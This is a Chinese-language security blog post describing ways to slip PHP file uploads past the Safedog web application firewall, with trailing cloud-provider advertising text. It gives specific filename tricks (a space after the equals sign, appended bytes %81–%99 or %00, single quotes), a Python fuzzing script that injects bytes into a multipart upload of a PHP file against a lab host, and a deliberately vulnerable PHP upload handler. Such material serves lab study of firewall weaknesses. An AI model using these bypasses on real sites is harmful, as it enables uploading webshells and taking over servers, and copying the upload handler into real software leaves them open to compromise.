標籤：data inf pip odi cep pre text float 文章
漏洞url：http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html
很好的fuzz思路。
文章提到：檔案名稱前面的數字是被"幹掉"字元的十進位數字，可以看出%81--%99會被幹掉.該特性雷同Windows下對"."和" "(空格)的忽略。
這個特性可以用來繞過安全狗，比如 xxx.php. 比較早期的安全狗就不對這個尾碼進行攔截。
這是最新版的繞過安全狗進行上傳。思路是和fuzz的思路一樣，應該早就有人發出來了，但是沒修。所以記錄一下。
對於上傳的包：Content-Disposition: form-data; name="file"; filename= "x.php";
注意看filename= "x.php"; 等號後面有個空格，這樣就能繞過安全狗進行上傳了，支援的有 09，20
對於上傳的包：Content-Disposition: form-data; name="file"; filename="x.php?";
x.php後面也就是漏洞所說的 %81--%99會被幹掉 安全狗對於這個也不防禦。 ?支援的有 81-99 ，00
在補充個，如果能上傳的網站對於上傳的名字沒有修改，那麼可以加單引號來繞過安全狗。
fuzz的指令碼如下。
需要hackhttp的包，pip install hackhttp
#!/usr/local/bin/ python# -*- coding: utf-8 -*-__author__ = ‘yangxiaodi‘import urllibimport hackhttpimport randomhackhttp=hackhttp.hackhttp()def randstr(num): sts = ‘‘ char = ‘1234567890abcdexyz‘ for i in range(num): sts += random.choice(char) return stsdef hex_to_ascii(ch): return ‘{:c}‘.format(int(float.fromhex(ch)))raw_data = ‘‘‘POST /copy.php HTTP/1.1Host: 172.16.220.136Content-Length: 296Cache-Control: max-age=0Origin: http://172.16.220.136Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ9o2JkrnEtFaefTVAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8DNT: 1Referer: http://172.16.220.136/1.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Connection: close------WebKitFormBoundaryJ9o2JkrnEtFaefTVContent-Disposition: form-data; name="file"; filename="q.php";Content-Type: text/xml<?php phpinfo();?>------WebKitFormBoundaryJ9o2JkrnEtFaefTVContent-Disposition: form-data; name="submit"upload------WebKitFormBoundaryJ9o2JkrnEtFaefTV--‘‘‘for u in range(625,872): for i in range(1,255): s = ‘%03d‘ % i shex = hex_to_ascii(s) data=raw_data[:u]+shex+raw_data[u:] code, head, html, redirect_url, log=hackhttp.http(url="http://172.16.220.136/copy.php", raw=data) if ‘upload/q.php<br>‘ in html: print u,i,data,html,‘\n‘
copy.php如下
<?phpif(isset($_POST[‘submit‘])){$savefile = $_FILES[‘file‘][‘name‘];$tempfile = $_FILES[‘file‘][‘tmp_name‘];$savefile = preg_replace("/(php4)(\.|$)/i", "_\\1\\2", $savefile);//這裡是整個漏洞的核心代碼，同樣這裡進行了簡化，我們只關注php$savefile = ‘upload/‘.$savefile;if(upload($tempfile,$savefile,true)){exit(‘Success upload,path is:‘.$savefile."<br>");}}function upload($src,$dst,$mode=false){if($mode){if(copy($src,$dst)){return true;}}else{if(@move_uploaded_file($src,$dst)){return true;}}return false;}?>
1.html如下
<html><body><form method="post" action="copy.php" enctype="multipart/form-data"> <input type="file" name="file" value="1111"/> <input type="submit" name="submit" value="upload"/></form></body></html>
PHPCMS v9.5.6 通殺getshell(前台)
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
